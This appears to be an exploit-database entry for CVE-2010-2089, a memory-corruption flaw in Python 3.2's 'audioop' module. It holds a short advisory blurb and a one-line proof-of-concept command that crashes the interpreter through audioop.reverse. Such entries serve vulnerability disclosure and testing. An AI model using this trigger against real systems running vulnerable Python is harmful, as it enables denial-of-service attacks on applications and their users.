Python 3.2 - 'audioop' Module Memory Corruption

Author: haypo
type: dos
platform: unix
port: 0
date_added: 2010-06-14
date_updated: 2014-07-23
verified: 1
codes: CVE-2010-2089;OSVDB-65151
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source: https://www.securityfocus.com/bid/40863/info

The 'audioop' module for Python is prone to a memory-corruption vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

 $ python -c "import audioop; audioop.reverse('X', 2)"